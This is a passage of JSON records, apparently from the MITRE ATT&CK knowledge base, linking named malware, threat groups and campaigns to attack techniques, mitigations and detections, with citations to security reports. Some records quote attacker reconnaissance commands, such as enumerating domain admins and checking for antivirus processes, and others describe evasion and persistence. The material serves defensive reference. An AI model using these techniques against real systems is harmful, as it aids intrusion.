systems.","source_ref":"x-mitre-data-component--23e4ee78-26f3-4fcf-ba43-ab953962f96c","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b2bd8d90-28ca-4524-85f7-07aaf066b485","created":"2023-08-01T18:52:01.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.565Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can use `net.exe group \"domain admins\" /domain` to identify Domain Administrators.(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2c02ae1-c62a-4811-a913-b0a26f605e38","type":"relationship","created":"2021-10-13T22:50:48.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}],"modified":"2021-10-13T22:50:48.744Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used PowerView to enumerate all Windows Server, Windows Server 2003, and Windows 7 instances in the Active Directory database.(Citation: Symantec WastedLocker June 2020)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b2c3af15-670d-4775-ba38-e585f421b846","created":"2023-09-27T14:36:29.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T16:25:58.358Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) installed a VBA script called `vba_macro.exe`. This macro dropped `FONTCACHE.DAT`, the primary [BlackEnergy](https://attack.mitre.org/software/S0089) implant; `rundll32.exe`, for executing the malware; `NTUSER.log`, an empty file; and desktop.ini, the default file used to determine folder displays on Windows machines. (Citation: Booz Allen Hamilton)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2c4bc70-088c-4e99-863b-65c4267c7220","type":"relationship","created":"2021-06-11T19:27:08.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-11T19:27:08.940Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has the ability to search for .txt, .ppt, .hwp, .pdf, and .doc files in specified directories.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2ca0a15-a121-47c0-8123-b3092fe7d8d1","type":"relationship","created":"2021-06-30T16:13:40.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-06-30T16:13:40.680Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used search order hijacking to load a malicious DLL.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2cf2404-a612-4832-8dff-9f5572776785","type":"relationship","created":"2019-04-17T22:55:43.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2019-04-22T20:18:07.135Z","description":"[Remexi](https://attack.mitre.org/software/S0375) has a command to capture active windows on the machine and retrieve window titles.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2cf6651-3f2c-4522-9360-dbc5c7af43c5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-11T17:45:33.772Z","description":"[Remsec](https://attack.mitre.org/software/S0125) schedules the execution one of its modules by creating a new scheduler task.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2cf7d18-daa0-45a1-b2c1-6b6056bb19c4","type":"relationship","created":"2019-06-05T13:06:06.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."},{"source_name":"Trend Micro njRAT 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019."}],"modified":"2019-06-24T18:57:11.300Z","description":"[njRAT](https://attack.mitre.org/software/S0385) can create, delete, or modify a specified Registry key or value.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b2d24622-d6ee-4a9f-84cc-ecb6efab9625","created":"2022-09-30T15:51:28.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CYBERCOM Iranian Intel Cyber January 2022","description":"Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.","url":"https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T12:43:55.851Z","description":"[Mori](https://attack.mitre.org/software/S1047) can write data to `HKLM\\Software\\NFC\\IPA` and `HKLM\\Software\\NFC\\` and delete Registry values.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: CYBERCOM Iranian Intel Cyber January 2022)","relationship_type":"uses","source_ref":"malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b2d73149-8bc7-45c4-baa3-66f5aa55b49d","created":"2024-10-16T21:14:22.407Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T21:14:22.407Z","description":"Consider disabling software installation or execution from the internet via developer utilities.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2d97276-503d-4fd0-9517-92e05a774de0","type":"relationship","created":"2020-03-11T14:49:37.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-11T14:49:37.076Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2dac45d-0bd8-488a-a00d-d54db8d3507c","type":"relationship","created":"2019-06-25T15:34:24.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-12T18:16:56.748Z","description":"Train users to identify social engineering techniques and spearphishing emails that could be used to deliver malicious documents.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2dbbb46-9659-4277-8753-c469c4bfe409","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2020-03-18T20:47:53.091Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used net user to conduct internal discovery of systems.(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b2e0fa0b-ccc4-4bd9-a981-2aa198491333","created":"2023-05-22T19:45:53.310Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-22T19:45:53.310Z","description":"[QUIETCANARY](https://attack.mitre.org/software/S1076) has the ability to stage data prior to exfiltration.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--93289ecf-4d15-4d6b-a9c3-4ab27e145ef4","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b2e82bbd-629f-47e6-9306-970d12d0f0bc","created":"2022-09-27T22:27:04.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T20:55:18.558Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used batch scripts to perform reconnaissance.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b2ec264b-8490-406f-b239-db5b150a138f","created":"2024-01-09T19:13:58.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-09T19:14:46.974Z","description":"[Samurai](https://attack.mitre.org/software/S1099) can base64 encode data sent in C2 communications prior to its encryption.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b2ed727c-9ce0-476a-ae95-c722f083a28f","created":"2022-04-14T16:40:20.387Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Periodically baseline instances to identify malicious modifications or additions.","modified":"2022-04-14T16:40:20.387Z","relationship_type":"detects","source_ref":"x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b","target_ref":"attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b2f02a93-36fe-45be-9120-ea7bf53a884c","created":"2023-09-27T14:34:53.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T15:32:54.973Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) used [BlackEnergy](https://attack.mitre.org/software/S0089) to communicate between compromised hosts and their command-and-control servers via HTTP post requests. (Citation: Booz Allen Hamilton)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2f180de-6c03-41cd-a6ed-a49ac674740b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2020-03-16T19:53:41.280Z","description":"[yty](https://attack.mitre.org/software/S0248) uses a keylogger plugin to gather keystrokes.(Citation: ASERT Donot March 2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b2f3bf33-8e22-4ab4-9358-3fda32cbea55","created":"2024-05-15T20:32:10.132Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:32:10.132Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has compromised Virtual Private Servers (VPS) to proxy C2 traffic.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2f7a2e7-5a72-4ace-b1de-121a8db809d8","type":"relationship","created":"2020-07-28T17:59:34.605Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-10-15T01:57:09.315Z","description":"[PROMETHIUM](https://attack.mitre.org/groups/G0056) has signed code with self-signed certificates.(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b2ff2217-ef23-4348-b8de-04e9aa195714","created":"2024-01-23T20:17:55.665Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T20:17:55.665Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) can determine is Kaspersky software is running on an endpoint by running `cmd /c wmic process where name=\"avp.exe\"`.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b30cc0be-74f0-42a6-85ef-594d6d184bae","type":"relationship","created":"2021-01-28T15:35:54.458Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Rewterz Sidewinder COVID-19 June 2020","url":"https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19","description":"Rewterz. (2020, June 22). Analysis on Sidewinder APT Group – COVID-19. Retrieved January 29, 2021."}],"modified":"2021-04-06T22:07:34.266Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used tools to collect the computer name, OS version, installed hotfixes, as well as information regarding the memory and processor on a compromised host.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder COVID-19 June 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b30daf73-f565-4c1e-bc0b-77bb1c22b03f","type":"relationship","created":"2021-09-21T17:02:09.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:19:48.511Z","description":"[Turian](https://attack.mitre.org/software/S0647) can store copied files in a specific directory prior to exfiltration.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b315cea7-6ca6-4d59-83e5-c91f635bbeb4","created":"2023-01-26T15:51:52.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T18:18:38.031Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) frequently configured the URL endpoints of their stealthy passive backdoor LOWKEY.PASSIVE to masquerade as normal web application traffic on an infected server.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b316741b-8bd3-4af6-9d5c-76afca7b9012","type":"relationship","created":"2020-10-01T01:42:25.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T01:42:25.082Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1cec9319-743b-4840-bb65-431547bce82a","target_ref":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b319dd46-3f98-421f-9312-1cd92df3ca02","type":"relationship","created":"2021-01-07T20:50:42.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intrinsec Egregor Nov 2020","url":"https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1","description":"Bichet, J. (2020, November 12). Egregor – Prolock: Fraternal Twins ?. Retrieved January 6, 2021."}],"modified":"2021-01-07T20:50:42.128Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has disabled Windows Defender to evade protections.(Citation: Intrinsec Egregor Nov 